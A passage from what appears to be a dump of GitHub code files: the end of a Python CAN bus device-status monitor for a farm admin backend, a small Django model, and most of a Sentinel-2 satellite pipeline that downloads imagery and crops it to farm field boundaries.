queue.Queue(16)\n\n\ndef getFunctionCode(msg):\n '获取功能码'\n return msg.arbitration_id >> FUN_CODE_BIT\n\ndef getNodeID(msg):\n '获取节点'\n return msg.arbitration_id &((1<12d}'.format(node_id),\n 'comment': '',\n 'status': 'off',\n 'errorcode': '00000',\n }\n HttpHandle.devicePost(jsonobject) # 上传新建的设备状态\n device_status[str(node_id)]['work_status'] = DEVICE_STATUS_CODE[msg.dlc]\n device_status[str(node_id)]['can_status'] = 2\n CANSendQueue.put(\n UsrCAN.Message(arbitration_id=msg.arbitration_id, extended_id=USE_EXTENDED_FRAME, is_remote_frame=True, dlc=0))\n # print(\"device_status\",device_status)\n\ndef nodeMonitor():\n '节点监控定时函数'\n # 此函数由定时任务调用\n global device_status\n for i in device_status:\n if device_status[i]['can_status'] > 0: # 设备在线\n device_status[i]['can_status'] -= 1\n elif i != '255': # 设备断线\n device_status[i]['work_status'] = DEVICE_STATUS_CODE[9]\n\n if device_status[i]['work_status'] != device_status[i]['put_status']: # 本地状态和服务器状态不一致\n json_object = {\n 'stationid': '{:0>12d}'.format(int(i)),\n 'comment': '',\n 'errorcode': '00000'\n }\n if device_status[i]['work_status'] == 'OFF':\n json_object['status'] = 'off'\n elif device_status[i]['work_status'] == 'ON':\n json_object['status'] = 'on'\n else:\n json_object['status'] = 'on'\n json_object['errorcode'] = device_status[i]['work_status']\n HttpHandle.devicePut(json_object) # 修改服务器记录\n device_status[i]['put_status'] = device_status[i]['work_status']\n with open('sys_info.txt', 'w') as fou:\n # fou.truncate()\n fou.write(json.dumps(device_status))\n print(\"device_status:\",device_status)\n\ndef promiseRequest(msg):\n '处理数据包发送请求'\n global data_Receiving # 如果是0表示非接收态,否则等于正在发送的节点ID\n global dog_count\n global device_status\n node_id = getNodeID(msg)\n if str(node_id) in device_status:\t#设备已运行然后接收到数据\n if data_Receiving != 0:\n dataRequestQueue.put(msg)\t\t#接收任务阻塞中,暂存队列\n # print(msg,'received but can not handle')\n elif time.time() - msg.timestamp < 2 and device_status[str(node_id)]['can_status'] > 0: # 等待时间不超过2秒,并且CAN设备在线\n CANSendQueue.put(\n UsrCAN.Message(arbitration_id=msg.arbitration_id, extended_id=USE_EXTENDED_FRAME, is_remote_frame=True))\n data_Receiving = getNodeID(msg)\t#开始接收\n dog_count = 2\n # print(msg.arbitration_id,' start handle')\n else:\n print(\"Can't handle it\", node_id, data_Receiving)\t#超时不接收\n\ndef sysInit():\n '设备状态初始化'\n global device_status\n with open('./sys_info.txt', 'r') as fin:\n try:\n text = fin.read()\n # print(text)\n device_status = json.loads(text)\n except json.decoder.JSONDecodeError:\n print('sys_info create')\n for i in device_status:\n device_status[i] = {\"frame\": [], 'frame_status': 0, \"can_status\": 0, \"work_status\": 0, \"put_status\": 0}\n\n\n\n","repo_name":"nohair-coder/flask_pig_admin_be","sub_path":"app/CAN/CAN_Analysis.py","file_name":"CAN_Analysis.py","file_ext":"py","file_size_in_byte":8990,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"70677179948","text":"from django.db import models\n\nclass LangualDescManager(models.Manager):\n\n def create_from_list(self, list):\n instance = self.model()\n instance.Factor_Code = list[0]\n instance.Description = list[1]\n instance.save()\n return instance\n\nclass LangualDesc(models.Model):\n filename = 'LANGDESC'\n\n Factor_Code = models.CharField(max_length=5, primary_key=True)\n Description = models.CharField(max_length=140)\n \n objects = LangualDescManager()\n\n","repo_name":"jgsogo/muia-linkeddata","sub_path":"webapp/food/models/langual_desc.py","file_name":"langual_desc.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"25806900647","text":"import json\nimport logging\nimport math\nimport os\nimport re\nimport sys\nimport zipfile\nfrom dataclasses import dataclass\nfrom glob import glob\nfrom itertools import chain, combinations\nfrom logging import handlers\nfrom pathlib import Path\nfrom typing import List\nfrom zipfile import ZipFile\n\nimport click\nimport earthpy.plot as ep\nimport geopandas as gpd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nimport rasterio\nimport seaborn as sns\nimport shapely\nfrom dateutil import parser\nfrom fiona.crs import from_epsg\nfrom geopandas import GeoDataFrame\nfrom matplotlib import gridspec\nfrom pandas import Series, DataFrame\nfrom pyproj import Transformer\nfrom rasterio import plot\nfrom rasterio.mask import mask\nfrom rasterio.plot import show\nfrom scipy import stats\nfrom sentinelsat.sentinel import SentinelAPI\nfrom shapely.geometry import Polygon, MultiPolygon, shape\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.gaussian_process.kernels import RBF\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import (\n accuracy_score,\n plot_confusion_matrix,\n)\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.model_selection import train_test_split, cross_val_score, StratifiedKFold\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC, LinearSVC\nfrom sklearn.tree import DecisionTreeClassifier\n\nMEAN_NDVI = \"mean_ndvi\"\n\nMEAN_NDWI = \"mean_ndwi\"\n\nCARBON_RATING = \"carbon_rating\"\n\nPOTASSIUM_RATING = \"potassium_rating\"\n\nPHOSPHORUS_RATING = \"phosphorus_rating\"\n\nNITROGEN_RATING = \"nitrogen_rating\"\n\npd.set_option(\"display.max_columns\", None) # or 1000\npd.set_option(\"display.max_rows\", None) # or 1000\npd.set_option(\"display.max_colwidth\", None)\n\nBAND_2_10M = \"B02_10m\"\nBAND_3_10M = \"B03_10m\"\nBAND_4_10M = \"B04_10m\"\nBAND_8_10M = \"B08_10m\"\nBAND_TCI_10M = \"TCI_10m\"\n\nBAND_2_20M = \"B02_20m\"\nBAND_3_20M = \"B03_20m\"\nBAND_4_20M = \"B04_20m\"\nBAND_5_20M = \"B05_20m\"\nBAND_6_20M = \"B06_20m\"\nBAND_7_20M = \"B07_20m\"\nBAND_8A_20M = \"B8A_20m\"\nBAND_11_20M = \"B11_20m\"\nBAND_12_20M = \"B12_20m\"\nBAND_SCL_20M = \"SCL_20m\"\nBAND_TCI_20M = \"TCI_20m\"\n\nBAND_1_60M = \"B01_60m\"\nBAND_2_60M = \"B02_60m\"\nBAND_3_60M = \"B03_60m\"\nBAND_4_60M = \"B04_60m\"\nBAND_5_60M = \"B05_60m\"\nBAND_6_60M = \"B06_60m\"\nBAND_7_60M = \"B07_60m\"\nBAND_8A_60M = \"B8A_60m\"\nBAND_9_60M = \"B09_60m\"\nBAND_11_60M = \"B11_60m\"\nBAND_12_60M = \"B12_60m\"\nBAND_SCL_60M = \"SCL_60m\"\n\nALL_BANDS = (\n BAND_2_10M,\n BAND_3_10M,\n BAND_4_10M,\n BAND_8_10M,\n BAND_TCI_10M,\n BAND_2_20M,\n BAND_3_20M,\n BAND_4_20M,\n BAND_5_20M,\n BAND_6_20M,\n BAND_7_20M,\n BAND_8A_20M,\n BAND_11_20M,\n BAND_12_20M,\n BAND_SCL_20M,\n BAND_TCI_20M,\n BAND_1_60M,\n BAND_2_60M,\n BAND_3_60M,\n BAND_4_60M,\n BAND_5_60M,\n BAND_6_60M,\n BAND_7_60M,\n BAND_8A_60M,\n BAND_9_60M,\n BAND_11_60M,\n BAND_12_60M,\n BAND_SCL_60M,\n)\n\nREPORT_SUMMARY_BANDS = BAND_TCI_20M, BAND_SCL_20M, BAND_TCI_10M, BAND_SCL_60M\n# REPORT_SUMMARY_BANDS = ALL_BANDS\n\nlog = logging.getLogger(__name__)\nDATA_DIRECTORY = \"data\"\nALL_FARMS_FILE_NAME_EXCLUDING_PREFIX = \"all_farms_24_05_22\"\nFARM_SENTINEL_DATA_DIRECTORY = f\"{DATA_DIRECTORY}/sentinel2\"\nFARM_SUMMARIES_DIRECTORY = f\"{FARM_SENTINEL_DATA_DIRECTORY}/farm_summaries\"\nFARM_LOCATIONS_DIRECTORY = f\"{DATA_DIRECTORY}/farm_locations\"\nFARMS_GEOJSON = f\"{FARM_LOCATIONS_DIRECTORY}/{ALL_FARMS_FILE_NAME_EXCLUDING_PREFIX}.geojson\"\nFARMS_XLSX = f\"{FARM_LOCATIONS_DIRECTORY}/MASTER_DOCUMENT_V1_240522.xlsx\"\nNEW_KMLS = f\"{FARM_LOCATIONS_DIRECTORY}/KML_Soil/KMLs\"\nSENTINEL_PRODUCTS_GEOJSON = f\"{FARM_SENTINEL_DATA_DIRECTORY}/products.geojson\"\nFARMS_GEOJSON_VALID_PRODUCTS = (\n f\"{FARM_LOCATIONS_DIRECTORY}/{ALL_FARMS_FILE_NAME_EXCLUDING_PREFIX}_cloud_free_products.geojson\"\n)\nINDIVIDUAL_BOUNDS_SHAPEFILE = f\"{FARM_LOCATIONS_DIRECTORY}/individual_farm_bounds.shp\"\nANALYSIS_RESULTS_DIR = f\"{FARM_SUMMARIES_DIRECTORY}/analysis\"\n# Scene classification keys\nCLOUD_MEDIUM = 8\nCLOUD_HIGH = 9\nTHIN_CIRRUS = 10\nSATURATED_OR_DEFECTIVE = 1\nCLOUD_SHADOWS = 3\n\n# Create logs dir if it doesn't already exist\nos.makedirs(\"logs\", exist_ok=True)\n\nfile_handler = logging.handlers.RotatingFileHandler(\"logs/crop.log\", maxBytes=2048, backupCount=5)\nlogging.basicConfig(\n level=logging.INFO,\n format=\"%(asctime)s: %(levelname)s] %(message)s\",\n handlers=[file_handler, logging.StreamHandler()],\n)\n\n\n@dataclass\nclass DataHandler:\n sentinel_date_range: tuple\n api: SentinelAPI = None\n total_bbox_32643: Polygon = None\n total_bbox: GeoDataFrame = None\n farm_bounds_32643: GeoDataFrame = None\n products_df: GeoDataFrame = None\n\n def __post_init__(self):\n self.initialise()\n\n def initialise(self):\n \"\"\"\n Check kmz exists, configure API and read geometries\n :return:\n \"\"\"\n\n if not os.path.exists(FARMS_XLSX):\n sys.exit(f\"Unable to find file {FARMS_XLSX} - aborting\")\n\n # Ensure directory to store Sentinel2 data exists\n os.makedirs(FARM_SENTINEL_DATA_DIRECTORY, exist_ok=True)\n os.makedirs(FARM_SUMMARIES_DIRECTORY, exist_ok=True)\n os.makedirs(ANALYSIS_RESULTS_DIR, exist_ok=True)\n\n self.extract_geometries()\n\n def convert_geometry_string_to_shape(self, geom_str: str) -> shape:\n \"\"\"\n Parse a geometry string into a shape\n :return:\n \"\"\"\n try:\n return shape(json.loads(geom_str))\n except (TypeError, AttributeError): # Handle NaN and empty strings\n return None\n\n def parse_excel_and_kml_farms(self):\n\n field_id_farms_df = pd.read_excel(\n FARMS_XLSX,\n sheet_name=\"Farms identified by FieldID\",\n header=[1],\n usecols=(\"field_id\", \"farm_name\", \"field_boundary\", \"Date of survey\"),\n )\n g_num_df = pd.read_excel(\n FARMS_XLSX,\n sheet_name=\"Farms identified by G no\",\n header=[1],\n usecols=(\"Sl.No\", \"Farmer name\", \"Date of survey\"),\n )\n\n self._sanitize_dataframe_column_headers(field_id_farms_df)\n\n # Standardise column names\n g_num_df.rename(columns={\"Sl.No\": \"field_id\", \"Farmer name\": \"farm_name\"}, inplace=True)\n self._sanitize_dataframe_column_headers(g_num_df)\n\n # Convert geometry to shape\n field_id_farms_df[\"field_boundary\"] = field_id_farms_df[\"field_boundary\"].apply(\n self.convert_geometry_string_to_shape\n )\n\n gpd.io.file.fiona.drvsupport.supported_drivers[\"KML\"] = \"rw\"\n\n def _read_kmz_to_geopandas(kmz_path):\n kmz = ZipFile(kmz_path, \"r\")\n kml = kmz.open(\"doc.kml\", \"r\").read()\n kml_path = Path(kmz_path).with_suffix(\".kml\")\n with open(kml_path, \"wb\") as kml_file:\n kml_file.write(kml)\n farm_df = gpd.read_file(kml_path, driver=\"KML\")\n # Add file name to dataframe\n farm_df[\"field_id\"] = Path(kmz_path).stem\n return farm_df\n\n latest_farms = glob(\n f\"{NEW_KMLS}/*.kmz\",\n recursive=False,\n )\n\n # Read list of kmz files into dataframe\n kmz_df = pd.concat(map(_read_kmz_to_geopandas, latest_farms))\n kmz_df.rename(columns={\"geometry\": \"field_boundary\"}, inplace=True)\n\n r = re.compile(\"([a-zA-Z]+)([0-9]+)\")\n # Pad out the ids with 0s so we can join with ids in the master spreadsheet\n kmz_df[\"field_id\"] = kmz_df[\"field_id\"].map(lambda x: f\"G{r.match(x).groups()[1].zfill(3)}\")\n\n # join g_num_df with kmz to get field_boundary geometry\n g_num_df = pd.merge(g_num_df, kmz_df[[\"field_id\", \"field_boundary\"]], on=\"field_id\", how=\"left\")\n\n # Combine into single fields list\n fields_df = pd.concat([field_id_farms_df, g_num_df])\n fields_df.reset_index(drop=True, inplace=True)\n fields_df.rename(columns={\"field_boundary\": \"geometry\"}, inplace=True)\n\n # Read in soil test results and match to farms\n soil_df = pd.read_excel(\n FARMS_XLSX,\n sheet_name=\"Soil test results\",\n )\n self._sanitize_dataframe_column_headers(soil_df)\n soil_df.rename(\n columns={\n \"field_ids\": \"field_id\",\n \"o.c._(1_=_low;_2_=_med;_3_=_high)\": \"carbon_rating\",\n \"n(1_=_low;_2_=_med;_3_=_high)\": \"nitrogen_rating\",\n \"p_(1_=_low;_5_=_high)\": \"phosphorus_rating\",\n \"k_(1_=_low;_2_=_med;_3_=_high)\": \"potassium_rating\",\n },\n inplace=True,\n )\n soil_df[\"carbon_rating\"] = soil_df[\"carbon_rating\"].fillna(0).astype(np.int64)\n soil_df[\"nitrogen_rating\"] = soil_df[\"nitrogen_rating\"].fillna(0).astype(np.int64)\n soil_df[\"phosphorus_rating\"] = soil_df[\"phosphorus_rating\"].fillna(0).astype(np.int64)\n soil_df[\"potassium_rating\"] = soil_df[\"potassium_rating\"].fillna(0).astype(np.int64)\n\n # Remove duplicate - we already have this as farm_name\n soil_df.drop(\"farmer_name\", axis=1, inplace=True)\n\n fields_df = pd.merge(fields_df, soil_df, on=\"field_id\", how=\"left\")\n fields_df[\"date_of_survey\"] = pd.to_datetime(fields_df[\"date_of_survey\"])\n # d.strftime(\"%d/%m/%Y\")\n self.farm_bounds_32643 = gpd.GeoDataFrame(fields_df, geometry=\"geometry\")\n self.farm_bounds_32643.set_crs(epsg=4326, inplace=True)\n # Save with 4326 for sentinel api\n self.farm_bounds_32643.to_file(FARMS_GEOJSON, driver=\"GeoJSON\")\n\n self.farm_bounds_32643 = self.farm_bounds_32643.to_crs({\"init\": \"epsg:32643\"})\n # Save subset of fields to shapefile - can't save date\n self.farm_bounds_32643[[\"field_id\", \"farm_name\", \"geometry\"]].to_file(INDIVIDUAL_BOUNDS_SHAPEFILE)\n\n # Save overall bounding box in desired projection\n self.total_bbox_32643 = shapely.geometry.box(*self.farm_bounds_32643.total_bounds, ccw=True)\n\n self.total_bbox = gpd.GeoDataFrame({\"geometry\": self.total_bbox_32643}, index=[0], crs=from_epsg(32643))\n self.total_bbox.to_file(f\"{FARM_LOCATIONS_DIRECTORY}/total_bounds.shp\")\n\n # Update the geometry in farms datafile to make it 2D so rasterio can handle it.\n # It seems rasterio won't work with 3D geometry\n self.farm_bounds_32643.geometry = self.convert_3D_2D(self.farm_bounds_32643.geometry)\n\n def _sanitize_dataframe_column_headers(self, dataframe: DataFrame):\n \"\"\"\n Strip, lower case and replace spaces with underscores\n :param dataframe:\n :return:\n \"\"\"\n dataframe.columns = [c.strip().lower().replace(\" \", \"_\") for c in dataframe.columns]\n\n def extract_geometries(self):\n \"\"\"\n Unzip the kmz and derive shapefiles, geojson and cache farm bounds and total bounding box\n \"\"\"\n\n if os.path.exists(FARMS_GEOJSON_VALID_PRODUCTS):\n self.load_farms_with_valid_products()\n else:\n self.parse_excel_and_kml_farms()\n\n if os.path.exists(SENTINEL_PRODUCTS_GEOJSON):\n self.products_df = gpd.read_file(SENTINEL_PRODUCTS_GEOJSON)\n\n log.info(f\"Finished setup\")\n\n def convert_3D_2D(self, geometry):\n \"\"\"\n Takes a GeoSeries of 3D Multi/Polygons (has_z) and returns a list of 2D Multi/Polygons\n (Taken from https://gist.github.com/rmania/8c88377a5c902dfbc134795a7af538d8)\n \"\"\"\n new_geo = []\n for p in geometry:\n if p.has_z:\n if p.geom_type == \"Polygon\":\n lines = [xy[:2] for xy in list(p.exterior.coords)]\n new_p = Polygon(lines)\n new_geo.append(new_p)\n elif p.geom_type == \"MultiPolygon\":\n new_multi_p = []\n for ap in p:\n lines = [xy[:2] for xy in list(ap.exterior.coords)]\n new_p = Polygon(lines)\n new_multi_p.append(new_p)\n new_geo.append(MultiPolygon(new_multi_p))\n else:\n # We don't have to do anything to this geometry\n new_geo.append(p)\n return new_geo\n\n def save_farms_with_valid_products(self):\n \"\"\"\n Save farms df to geojson. List of valid products has to be converted to a string to serialize\n :return:\n \"\"\"\n\n # Copy as we don't want to make changes to the instance version, only the version we are serialising\n copied_farm_bounds = self.farm_bounds_32643.copy(deep=True)\n copied_farm_bounds[\"cloud_free_products\"] = copied_farm_bounds[\"cloud_free_products\"].apply(\n lambda x: \" \".join(x)\n )\n copied_farm_bounds.to_file(FARMS_GEOJSON_VALID_PRODUCTS, driver=\"GeoJSON\")\n\n def load_farms_with_valid_products(self):\n \"\"\"\n Load farms dataframe from geojson. Convert valid products back into list\n :return:\n \"\"\"\n self.farm_bounds_32643 = gpd.read_file(FARMS_GEOJSON_VALID_PRODUCTS)\n\n # Convert back to list\n self.farm_bounds_32643[\"cloud_free_products\"] = self.farm_bounds_32643[\"cloud_free_products\"].apply(\n lambda x: x.split()\n )\n\n def configure_api(\n self,\n ):\n \"\"\"\n Initialise SentinelAPI instance\n \"\"\"\n user = os.environ[\"SENTINEL_USER\"]\n password = os.environ[\"SENTINEL_PASSWORD\"]\n\n if not password or user:\n log.warning(\n \"SENTINEL_USER or SENTINEL_PASSWORD environment variables are not present. \"\n \"You will be unable to use the Sentinel API without setting these variables\"\n )\n self.api = SentinelAPI(user, password, \"https://scihub.copernicus.eu/dhus\")\n\n def download_sentinel_product_files(self):\n \"\"\"\n Attempt to download each product in the dataframe\n :return:\n \"\"\"\n\n def _download(area: GeoDataFrame):\n uuid = area[\"uuid\"]\n identifier = area[\"identifier\"]\n if not os.path.exists(f\"{FARM_SENTINEL_DATA_DIRECTORY}/{identifier}.SAFE\"):\n log.debug(f\"About to download {uuid}\")\n try:\n self.api.download(uuid, directory_path=FARM_SENTINEL_DATA_DIRECTORY, checksum=False)\n except Exception as e:\n log.error(f\"Problem downloading: {e}\")\n else:\n log.debug(f\"We already have a file for {identifier}\")\n\n self.products_df.apply(_download, axis=1)\n\n def get_all_farms_bounding_box_wkt(self):\n \"\"\"\n Get the bounding box for all farm fields in wkt\n :return: wkt bounding box\n \"\"\"\n return shapely.geometry.box(*gpd.read_file(FARMS_GEOJSON).total_bounds, ccw=True).wkt\n\n def get_available_sentinel_products_df(self, verify_products=False):\n \"\"\"\n Get dataframe listing available Sentinel products\n :return:\n \"\"\"\n\n products = self.api.query(\n self.get_all_farms_bounding_box_wkt(),\n date=self.sentinel_date_range,\n # date=(\"20210401\", \"20220401\"),\n platformname=\"Sentinel-2\",\n processinglevel=\"Level-2A\",\n cloudcoverpercentage=(0, 99),\n )\n\n self.products_df = self.api.to_geodataframe(products)\n # products_df = products_df.sort_values([\"cloudcoverpercentage\"], ascending=[True])\n self.products_df = self.products_df.sort_values([\"generationdate\"], ascending=[True])\n\n # Filter products_df on tile id\n # products_df = products_df.loc[products_df['title'].str.contains(\"T43PFT\", case=False)]\n\n # Granules T43PFS and T43PGS contain all the farms\n required_granules = (\"T43PFS\", \"T43PGS\")\n\n self.products_df = self.products_df.loc[\n self.products_df[\"title\"].str.contains(\"|\".join(required_granules), case=False)\n ]\n\n log.debug(f\"{len(self.products_df)} products available for tiles {required_granules}\")\n\n if verify_products:\n # Various plots below to debug product and farm positions\n\n # Read farm bounds in in same crs as products here for easy comparison (4326)\n farm_bounds = gpd.read_file(FARMS_GEOJSON)\n\n # Simple plot to show product positions\n plot = self.products_df.plot(column=\"uuid\", cmap=None)\n # plt.savefig(\"test.jpg\")\n plt.show()\n\n # Product positions with uuids overlaid\n ax = self.products_df.plot(column=\"uuid\", cmap=None, figsize=(20, 20), alpha=0.3)\n # products_df.apply(lambda x: ax.annotate(s=x.uuid, xy=x.geometry.centroid.coords[0], ha='center'),axis=1)\n self.products_df.apply(\n lambda x: ax.annotate(text=x[\"uuid\"], xy=x.geometry.centroid.coords[0], ha=\"center\"), axis=1\n )\n\n # Simple plot to show red fields on white background\n base = self.products_df.plot(color=\"white\", edgecolor=\"black\")\n farm_bounds.plot(ax=base, marker=\"o\", color=\"red\", markersize=5)\n\n plt.show()\n\n # Save as a folium map\n # m = self.farm_bounds_32643.explore()\n # m.save(\"mymap.html\")\n # *****\n\n # Plot the products titles to see positions\n ax = self.products_df.plot(column=\"title\", cmap=None, figsize=(50, 50), alpha=0.3)\n self.products_df.apply(\n lambda x: ax.annotate(text=x[\"title\"], xy=x.geometry.centroid.coords[0], ha=\"center\"), axis=1\n )\n plt.show()\n\n # Plot products names and farm names\n f, ax = plt.subplots(1)\n self.products_df.plot(\n ax=ax,\n column=\"uuid\",\n cmap=\"OrRd\",\n )\n self.products_df.apply(\n lambda x: ax.annotate(text=x[\"title\"], xy=x.geometry.centroid.coords[0], ha=\"center\"), axis=1\n )\n\n farm_bounds.plot(ax=ax, column=\"Name\", cmap=None, figsize=(50, 50))\n farm_bounds.apply(\n lambda x: ax.annotate(text=x[\"Name\"], xy=x.geometry.centroid.coords[0], ha=\"center\"), axis=1\n )\n ax.set_title(\"Fields on sentinel data\", fontsize=10, pad=10)\n plt.show()\n\n def download_sentinel_products(self):\n \"\"\"\n Get available sentinel 2 products and download\n :return:\n \"\"\"\n\n # Set up api with credentials\n self.configure_api()\n\n self.get_available_sentinel_products_df(verify_products=False)\n\n self.download_sentinel_product_files()\n\n self.unzip_sentinel_products()\n\n # Validate results\n unzipped_products = glob(\n f\"{FARM_SENTINEL_DATA_DIRECTORY}/*.SAFE\",\n recursive=False,\n )\n\n # Add paths to the various product bands\n self.products_df = self.products_df.apply(self.add_band_paths_to_product, axis=1)\n\n # Save the products so we have a record\n self.save_products_df_to_geojson()\n\n total_available_products = len(self.products_df)\n\n remaining = total_available_products - len(unzipped_products)\n\n if remaining:\n msg = f\"Note that there are {remaining}/{total_available_products} products which have not yet been downloaded. Please re-run the download function\"\n log.info(msg)\n sys.exit(msg)\n\n log.debug(\"Product Download is complete\")\n\n def unzip_sentinel_products(self):\n \"\"\"\n Unzip all products\n \"\"\"\n\n def _unzip_if_required(sentinel_zip):\n file_path = f\"{FARM_SENTINEL_DATA_DIRECTORY}/{sentinel_zip}\"\n unzipped_filename = Path(file_path).with_suffix(\".SAFE\")\n if not os.path.exists(unzipped_filename):\n if zipfile.is_zipfile(file_path):\n with zipfile.ZipFile(file_path) as item:\n log.debug(f\"Unzipping {file_path}…\")\n item.extractall(FARM_SENTINEL_DATA_DIRECTORY)\n else:\n log.debug(f\"Not unzipping as {unzipped_filename} already exists\")\n\n [\n _unzip_if_required(sentinel_zip)\n for sentinel_zip in os.listdir(FARM_SENTINEL_DATA_DIRECTORY)\n if sentinel_zip.endswith(\".zip\")\n ]\n\n def crop_raster_to_geometry(\n self, raster_file: str, geom: Polygon, cropped_directory_name: str, verify_images=False, force_recreate=False\n ):\n \"\"\"\n Crop the specified raster file to self.total_bbox_32643 (combined farms bounding box)\n :param force_recreate: Recreate a cropped raster even if it already exists\n :param verify_images: Output some plots to sanity check results\n :param cropped_directory_name:\n :param geom: Geometry to crop raster to\n :param raster_file: Relative path the raster file\n \"\"\"\n\n # We want to save as tiff rather than jp2\n raster_file_path = Path(raster_file).with_suffix(\".tif\")\n\n cropped_image_dir = f\"{raster_file_path.parent.parent.parent}/IMG_DATA_CROPPED\"\n cropped_directory = f\"{cropped_image_dir}/{cropped_directory_name}/{raster_file_path.parent.name}\"\n os.makedirs(cropped_directory, exist_ok=True)\n\n output_raster = f\"{cropped_directory}/{raster_file_path.name}\"\n\n if not os.path.exists(output_raster) or force_recreate:\n\n with rasterio.open(raster_file) as src:\n # Note the geometry has to be iterable, hence the list\n out_img, out_transform = mask(src, [geom], crop=True)\n out_meta = src.meta.copy()\n\n # It seems the output raster is blank if we use JP2OpenJPEG, so go with Gtiff\n out_meta.update(\n {\n \"driver\": \"Gtiff\",\n \"height\": out_img.shape[1],\n \"width\": out_img.shape[2],\n \"transform\": out_transform,\n }\n )\n\n with rasterio.open(output_raster, \"w\", **out_meta) as dest:\n dest.write(out_img)\n\n if verify_images:\n # Verify the images look correct\n with rasterio.open(output_raster) as clipped:\n\n show((clipped, 1), cmap=\"terrain\")\n\n # Check bounding box and raster match\n fig, ax = plt.subplots(figsize=(15, 15))\n rasterio.plot.show(clipped, ax=ax)\n self.total_bbox.plot(ax=ax, facecolor=\"none\", edgecolor=\"r\")\n plt.show()\n\n # Show the field outlines on the raster\n fig, ax = plt.subplots(figsize=(15, 15))\n rasterio.plot.show(clipped, ax=ax)\n self.farm_bounds_32643.plot(ax=ax, facecolor=\"none\", edgecolor=\"r\")\n plt.show()\n else:\n log.debug(f\"Skipping as {raster_file_path} already exists. To recreate, set force_recreate=True\")\n\n def crop_product_rasters_to_all_fields(self, product: Series):\n \"\"\"\n For every row in the products dataframe, crop the downloaded rasters to overall farm bounds\n :param product: Series\n :return: product:Series\n \"\"\"\n\n original_rasters: list = self.get_original_product_rasters(product)\n\n if original_rasters:\n\n # Crop all original rasters to all farms geom\n [self.crop_raster_to_geometry(raster, self.total_bbox_32643, \"all_farms\") for raster in original_rasters]\n\n else:\n log.debug(f\"Skipping as product {product['title']} as associated rasters not found\")\n\n return product\n\n def add_band_paths_to_product(self, product: Series):\n \"\"\"\n For every row in the products dataframe\n add band paths to products dataframe\n :param product: Series\n :return: product:Series\n \"\"\"\n\n original_rasters: list = self.get_original_product_rasters(product)\n\n if original_rasters:\n\n def _add_band_filepath(band):\n \"\"\"\n Add path to specified band\n :param band:\n :return:\n \"\"\"\n search_result = [raster_file for raster_file in original_rasters if band in raster_file]\n product[band] = search_result[0] if search_result else \"\"\n\n # Add raster paths to dataframe so we can easily look them up\n [_add_band_filepath(band) for band in ALL_BANDS]\n\n else:\n log.debug(f\"Skipping as product {product['title']} as associated rasters not found\")\n\n return product\n\n def crop_rasters_to_all_fields_bbox(self):\n \"\"\"\n Inspect the rasters we have in FARM_SENTINEL_DATA_DIRECTORY and clip to all farm bounds\n \"\"\"\n # Check products have been downloaded\n self.check_products_geojson_exists()\n\n # Crop rasters to overall farm bounds and add band paths for each product\n self.products_df = self.products_df.apply(self.crop_product_rasters_to_all_fields, axis=1)\n\n # Save updated products\n self.save_products_df_to_geojson()\n\n log.debug(\"All rasters successfully cropped to overall farms bbox\")\n\n def check_products_geojson_exists(self):\n \"\"\"\n Stop execution if we don't have products geojson\n :return:\n \"\"\"\n if not os.path.exists(SENTINEL_PRODUCTS_GEOJSON):\n sys.exit(\n f\"Unable to find file {SENTINEL_PRODUCTS_GEOJSON} - aborting. Please run script with download flag to generate this file\"\n )\n\n def process_products_for_farms(self, product: Series):\n \"\"\"\n Iterate through products. For each, generate rasters for the bounds of each farm\n :param product:\n :return:\n \"\"\"\n\n def _process_products_for_individual_farm(farm: Series):\n \"\"\"\n Generate rasters for the specified farm for the specified product\n :param farm:\n :return:\n \"\"\"\n\n field_id = farm[\"field_id\"]\n farm_geometry = farm[\"geometry\"]\n\n # Visualise geometry\n # x,y = farm_geometry.exterior.xy\n # plt.plot(x,y)\n # plt.show()\n # farm_bbox = shapely.geometry.box(*farm_geometry.bounds, ccw=True)\n # Confirm that the bounding box is correct\n # x1,y1 = farm_bbox.exterior.xy\n # plt.plot(x1,y1, x, y)\n # plt.show()\n\n # Check that the farm geometry is within the product - this is not always the case as we have products from different granules\n if product.geometry.contains(farm_geometry):\n original_rasters = self.get_original_product_rasters(product)\n\n if original_rasters:\n # Crop all rasters to individual farm bboxes\n [self.crop_raster_to_geometry(raster, farm_geometry, field_id) for raster in original_rasters]\n\n else:\n log.debug(f\"Skipping product {product['title']} as associated rasters not found\")\n\n self.farm_bounds_32643.apply(_process_products_for_individual_farm, axis=1)\n\n return product\n\n def get_original_product_rasters(self, product: Series) -> List:\n \"\"\"\n Get list of original rasters for the specified product\n :param product:\n :return: List\n \"\"\"\n\n product_directory = f\"{FARM_SENTINEL_DATA_DIRECTORY}/{product['filename']}/GRANULE\"\n\n if os.path.exists(product_directory):\n # Get all rasters for this product\n return glob(\n f\"{product_directory}/**/IMG_DATA/**/*.jp2\",\n recursive=True,\n )\n return None\n\n def crop_rasters_to_individual_fields_bbox(self):\n \"\"\"\n Iterate through products, for each iterate through the farms and extract rasters for each farm geom\n :return:\n \"\"\"\n\n # open products so we have extra info\n self.check_products_geojson_exists()\n\n # Make sure geometries are in the correct crs as we have to check whether each farm polygon is within each product\n self.products_df = self.products_df.to_crs({\"init\": \"epsg:32643\"})\n self.products_df = self.products_df.apply(self.process_products_for_farms, axis=1)\n\n self.save_products_df_to_geojson()\n\n def save_products_df_to_geojson(self):\n \"\"\"\n Save products dataframe to filesystem as GEOJSON\n\n \"\"\"\n self.products_df.to_file(SENTINEL_PRODUCTS_GEOJSON, driver=\"GeoJSON\")\n\n def preview_farm_bands(self):\n \"\"\"\n Experiments with viewing cropped fields. WIP\n \"\"\"\n\n # Pick a farm\n farm_name = self.farm_bounds_32643.iloc[0][\"name\"]\n first_product = self.products_df.iloc[0]\n\n # Get all bands paths for this product\n band_paths = (\n self.get_farm_raster_from_product_raster_path(farm_name, first_product[band])\n for band in (BAND_2_10M, BAND_3_10M, BAND_4_10M, BAND_8_10M)\n )\n\n band_paths = filter(None, band_paths)\n\n l = []\n for i in band_paths:\n with rasterio.open(i, \"r\") as f:\n l.append(f.read(1))\n\n arr_st = np.stack(l)\n 